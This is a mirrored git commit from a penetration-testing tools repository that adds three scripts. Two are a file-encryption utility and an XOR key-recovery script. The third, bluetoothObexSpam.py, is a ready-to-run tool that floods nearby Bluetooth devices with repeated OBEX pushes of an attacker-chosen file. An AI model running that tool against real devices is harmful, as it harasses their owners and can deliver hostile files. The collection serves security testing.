mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2025-09-02 01:58:33 +02:00
First
This commit is contained in:
9
others/README.md
Normal file
9
others/README.md
Normal file
@ -0,0 +1,9 @@
|
||||
## Other Penetration-Testing related scripts and tools
|
||||
|
||||
|
||||
|
||||
- **`bluetoothObexSpam.py`** - Script intended to flood bluetooth enabled devices with incoming OBEX Object Push requests containing attacker-specified file. ([gist](https://gist.github.com/mgeeky/5b35453cd46837a01200a0eca4aa1e41))
|
||||
|
||||
- **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da))
|
||||
|
||||
- **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98))
|
102
others/bluetoothObexSpam.py
Normal file
102
others/bluetoothObexSpam.py
Normal file
@ -0,0 +1,102 @@
|
||||
#
|
||||
# Bluetooth scanner with ability to spam devices
|
||||
# with incoming OBEX Object Push requests containing
|
||||
# specified file.
|
||||
#
|
||||
# Mariusz B. / MGeeky, 16'
|
||||
#
|
||||
# Partially based on `Violent Python` snippets.
|
||||
# Modules required:
|
||||
# python-bluez
|
||||
# python-obexftp
|
||||
#
|
||||
import bluetooth
|
||||
import scapy
|
||||
import obexftp
|
||||
import sys
|
||||
import optparse
|
||||
import threading
|
||||
import time
|
||||
import os
|
||||
|
||||
foundDevs = []
|
||||
|
||||
def printDev(name, dev, txt='Bluetooth device'):
|
||||
print '[+] %s: "%s" (MAC: %s)' % (txt, name, dev)
|
||||
|
||||
def retBtAddr(addr):
|
||||
btAddr = str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
|
||||
btAddr = btAddr[0:2] + ':' + btAddr[2:4] + ':' + btAddr[4:6] + \
|
||||
':' + btAddr[6:8] + ':' + btAddr[8:10] + ':' + btAddr[10:12]
|
||||
return btAddr
|
||||
|
||||
def checkBluetooth(btAddr):
|
||||
btName = bluetooth.lookup_name(btAddr)
|
||||
if btName:
|
||||
printDev('Hidden Bluetooth device detected', btName, btAddr)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def sendFile(dev, filename):
|
||||
if os.path.exists(filename):
|
||||
client = obexftp.client(obexftp.BLUETOOTH)
|
||||
channel = obexftp.browsebt(dev, obexftp.PUSH)
|
||||
print '[>] Sending file to %s@%s' % (dev, str(channel))
|
||||
client.connect(dev, channel)
|
||||
ret = client.put_file(filename)
|
||||
if int(ret) >= 1:
|
||||
print '[>] File has been sent.'
|
||||
else:
|
||||
print '[!] File has not been accepted.'
|
||||
client.disconnect()
|
||||
else:
|
||||
print '[!] Specified file: "%s" does not exists.'
|
||||
|
||||
def findDevs(opts):
|
||||
global foundDevs
|
||||
devList = bluetooth.discover_devices(lookup_names=True)
|
||||
repeat = range(0, int(opts.repeat))
|
||||
|
||||
for (dev, name) in devList:
|
||||
if dev not in foundDevs:
|
||||
name = str(bluetooth.lookup_name(dev))
|
||||
printDev(name, dev)
|
||||
foundDevs.append(dev)
|
||||
for i in repeat:
|
||||
sendFile(dev, opts.file)
|
||||
continue
|
||||
|
||||
if opts.spam:
|
||||
for i in repeat:
|
||||
sendFile(dev, opts.file)
|
||||
|
||||
def main():
|
||||
parser = optparse.OptionParser(usage='Usage: %prog [options]')
|
||||
parser.add_option('-f', '--file', dest='file', metavar='FILE', help='Specifies file to be sent to discovered devices.')
|
||||
parser.add_option('-t', '--time', dest='time', metavar='TIMEOUT', help='Specifies scanning timeout (default - 0 secs).', default='0')
|
||||
parser.add_option('-r', '--repeat', dest='repeat', metavar='REPEAT', help='Number of times to repeat file sending after finding a device (default - 1)', default='1')
|
||||
parser.add_option('-s', '--spam', dest='spam', action='store_true', help='Spam found devices with the file continuosly')
|
||||
|
||||
print '\nBluetooth file carpet bombing via OBEX Object Push'
|
||||
print 'Mariusz B. / MGeeky 16\n'
|
||||
|
||||
(opts, args) = parser.parse_args()
|
||||
|
||||
if opts.file != '':
|
||||
if not os.path.exists(opts.file):
|
||||
print '[!] Specified file: "%s" does not exists.'
|
||||
sys.exit(0)
|
||||
|
||||
print '[+] Started Bluetooth scanning. Ctr-C to stop...'
|
||||
|
||||
timeout = float(opts.time)
|
||||
try:
|
||||
while True:
|
||||
findDevs(opts)
|
||||
time.sleep(timeout)
|
||||
except KeyboardInterrupt, e:
|
||||
print '\n[?] User interruption.'
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
189
others/encrypt.rb
Normal file
189
others/encrypt.rb
Normal file
@ -0,0 +1,189 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Script that performs encryption and decryption of files and directories.
|
||||
# In latter case producing encrypted ZIP package that will get decompressed automatically
|
||||
# after decryption.
|
||||
#
|
||||
# Mariusz B., 2016 v0.1
|
||||
#
|
||||
|
||||
require 'optparse'
|
||||
require 'io/console'
|
||||
|
||||
gem 'rubyzip'
|
||||
require 'zip/zip'
|
||||
require 'zip/zipfilesystem'
|
||||
|
||||
|
||||
def encrypt(infile, outfile, ciph, encryption, pass)
|
||||
gem "crypt"
|
||||
require 'crypt/blowfish'
|
||||
require 'crypt/gost'
|
||||
require 'crypt/idea'
|
||||
require 'crypt/rijndael'
|
||||
|
||||
begin
|
||||
cipher = case ciph
|
||||
when "blowfish" then Crypt::Blowfish.new(pass)
|
||||
when "gost" then Crypt::Gost.new(pass)
|
||||
when "idea" then Crypt::IDEA.new(pass, encryption ? Crypt::IDEA::ENCRYPT : Crypt::IDEA::DECRYPT)
|
||||
when "aes" then Crypt::Rijndael.new(pass)
|
||||
else nil
|
||||
end
|
||||
|
||||
if cipher == nil
|
||||
raise "unknown cipher."
|
||||
else
|
||||
raise "Input file path is empty. Cannot proceed any further" if infile.empty?
|
||||
if encryption
|
||||
cipher.encrypt_file(infile, outfile)
|
||||
else
|
||||
cipher.decrypt_file(infile, outfile)
|
||||
end
|
||||
puts "Operation succeeded."
|
||||
end
|
||||
rescue Exception => e
|
||||
puts "An error ocurred during encryption: #{e}\n"
|
||||
puts %Q|#{e.backtrace.join "\n\t"}|
|
||||
end
|
||||
end
|
||||
|
||||
def compress(path, out = nil)
|
||||
path.sub!(%r[/$], '')
|
||||
archive = out || File.join(path, File.basename(path))
|
||||
archive << '.zip'
|
||||
FileUtils.rm archive, :force => true
|
||||
|
||||
Zip::ZipFile.open(archive, 'w') do |zipfile|
|
||||
Dir["#{path}/**/**"].reject{ |f| f == archive }.each do |file|
|
||||
zipfile.add(file.sub(path + '/', ''), file)
|
||||
end
|
||||
end
|
||||
archive
|
||||
end
|
||||
|
||||
def decompress(path, out)
|
||||
Zip::ZipFile.open(path) { |zip_file|
|
||||
zip_file.each { |f|
|
||||
f_path = File.join(out, f.name)
|
||||
FileUtils.mkdir_p(File.dirname(f_path))
|
||||
zip_file.extract(f, f_path) unless File.exist?(f_path)
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
# Main function.
|
||||
if __FILE__ == $0
|
||||
options = {:cipher => 'aes'}
|
||||
optsparser = OptionParser.new do |opts|
|
||||
opts.program_name = "encryption.rb"
|
||||
opts.banner = "Usage: encryption [options] <mode> <infile> <outfile>\n\nWhere:"\
|
||||
"\n <mode>\t\t\t Either encrypt or decrypt (or for shorteness: e|d)."\
|
||||
"\n <infile>\t\t\t Specifies input file or directory path."\
|
||||
"\n <outfile>\t\t\t Specifies output file path.\n"
|
||||
|
||||
opts.separator ""
|
||||
opts.separator "Additional options:"
|
||||
|
||||
supported = %w[blowfish gost idea aes]
|
||||
opts.on("-c", "--cipher <cipher>", "Supported ciphers (by default 'aes' will be used):",
|
||||
*supported) do |cipher|
|
||||
unless supported.include?(cipher)
|
||||
opts.warn "[!] Unsupported cipher!"
|
||||
exit
|
||||
end
|
||||
options[:cipher] = cipher.downcase
|
||||
end
|
||||
|
||||
opts.on("-h", "--help", "Displays help") do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
optsparser.parse!
|
||||
|
||||
unless ARGV.length > 2
|
||||
optsparser.warn "Required <mode> and <file> parameters missing!\n\n#{optsparser}"
|
||||
exit
|
||||
end
|
||||
|
||||
mode = case ARGV[0].downcase
|
||||
when 'encrypt', 'enc', 'e' then "encrypt"
|
||||
when 'decrypt', 'dec', 'd' then "decrypt"
|
||||
else "error"
|
||||
end
|
||||
|
||||
if mode == "error"
|
||||
optsparser.warn "You must specify valid <mode> - either 'encrypt' or 'decrypt'!"
|
||||
exit
|
||||
end
|
||||
|
||||
infile = ARGV[1].chomp
|
||||
outfile = ARGV[2].chomp
|
||||
cipher = options[:cipher]
|
||||
|
||||
puts "Mode: #{mode.capitalize}"
|
||||
puts "Cipher: #{cipher.upcase}"
|
||||
puts "Input file: '#{infile}'"
|
||||
puts "Output file: '#{outfile}'"
|
||||
puts ""
|
||||
|
||||
compressed = false
|
||||
tmp = ''
|
||||
if File.directory?(infile)
|
||||
require 'tempfile'
|
||||
d = Tempfile.new('dir')
|
||||
tmp = d.path.clone
|
||||
d.close
|
||||
d.unlink
|
||||
puts %Q[Compressing specified directory '#{infile}'... ]
|
||||
begin
|
||||
tmp = compress(infile, tmp.clone)
|
||||
compressed = true
|
||||
rescue Exception => e
|
||||
puts "[!] Couldn't compress input directory.: #{e}"
|
||||
File.delete(tmp)
|
||||
exit
|
||||
end
|
||||
else
|
||||
tmp = infile
|
||||
end
|
||||
|
||||
if File.exists?(outfile)
|
||||
STDOUT.write "File specified as output file already exists. Do you want to continue? [Y/n]: "
|
||||
c = $stdin.gets.strip.downcase
|
||||
unless ["y", "yes"].include?(c) or c.empty?
|
||||
if compressed
|
||||
File.delete(tmp)
|
||||
end
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
print 'Enter your encryption key: '
|
||||
pass = STDIN.noecho(&:gets).chomp
|
||||
puts ""
|
||||
|
||||
begin
|
||||
encrypt(tmp, outfile, cipher, mode == 'encrypt', pass)
|
||||
|
||||
if compressed
|
||||
File.delete tmp
|
||||
else
|
||||
begin
|
||||
# If decrypted file is a valid zip file - unzip it.
|
||||
Zip::ZipFile.open(outfile).close
|
||||
tmp = outfile + '.tmp'
|
||||
File.rename outfile, tmp
|
||||
decompress(tmp, outfile)
|
||||
File.delete tmp
|
||||
rescue
|
||||
# Ups, not a ZIP file. Nothing to decompress..
|
||||
end
|
||||
end
|
||||
|
||||
rescue Exception => e
|
||||
puts "[!] Operation failed: #{e}"
|
||||
puts %Q|#{e.backtrace.join "\n\t"}|
|
||||
end
|
||||
end
|
86
others/xor-key-recovery.py
Normal file
86
others/xor-key-recovery.py
Normal file
@ -0,0 +1,86 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length
|
||||
# it searches for proper key that could decrypt cipher into text.
|
||||
#
|
||||
# Mariusz B., 2016
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
def xorstring(s, k):
|
||||
out = [0 for c in range(len(s))]
|
||||
key = []
|
||||
if type(k) == type(int):
|
||||
key = [k,]
|
||||
else:
|
||||
key = [ki for ki in k]
|
||||
|
||||
for i in range(len(key)):
|
||||
for j in range(i, len(s), len(key)):
|
||||
out[j] = chr(ord(s[j]) ^ key[i])
|
||||
|
||||
return ''.join(out)
|
||||
|
||||
|
||||
def brute(input_xored, expected_output, key_len):
|
||||
key = []
|
||||
|
||||
if len(input_xored) != len(expected_output):
|
||||
print '[!] Input xored and expected output lengths not match!'
|
||||
return False
|
||||
|
||||
for i in range(key_len):
|
||||
cipher_letters = [ input_xored[x] for x in range(i, len(input_xored), key_len)]
|
||||
plaintext_letters = [ expected_output[x] for x in range(i, len(input_xored), key_len)]
|
||||
|
||||
found = False
|
||||
for k in range(256):
|
||||
found = True
|
||||
for j in range(key_len):
|
||||
if chr(ord(cipher_letters[j]) ^ k) != plaintext_letters[j]:
|
||||
found = False
|
||||
break
|
||||
|
||||
if found:
|
||||
key.append(k)
|
||||
break
|
||||
found = False
|
||||
|
||||
if not found:
|
||||
print '[!] Could not found partial key value.'
|
||||
break
|
||||
|
||||
return key, xorstring(input_xored, key) == expected_output
|
||||
|
||||
def main(argv):
|
||||
if len(argv) < 4:
|
||||
print 'Usage: %s <cipher> <plain> <key-len>'
|
||||
return False
|
||||
|
||||
cipher = argv[1]
|
||||
plain = argv[2]
|
||||
keylen = int(argv[3])
|
||||
|
||||
if len(cipher) != len(plain):
|
||||
print '[!] Cipher text and plain text must be of same length!'
|
||||
return False
|
||||
|
||||
if len(cipher) % keylen != 0:
|
||||
print '[!] Cipher text and plain text lengths must be divisble by keylen!'
|
||||
return False
|
||||
|
||||
print "Cipher text:\t%s" % cipher
|
||||
print "Plain text:\t%s" % plain
|
||||
print "Key length:\t%d" % keylen
|
||||
key, status = brute(cipher, plain, keylen)
|
||||
|
||||
if status:
|
||||
print '[+] Key recovered!'
|
||||
print '\tKey:\t\t\t', str(key)
|
||||
print '\tDecrypted string:\t' + xorstring(cipher, key)
|
||||
else:
|
||||
print '[!] Key not found.'
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
Reference in New Issue
Block a user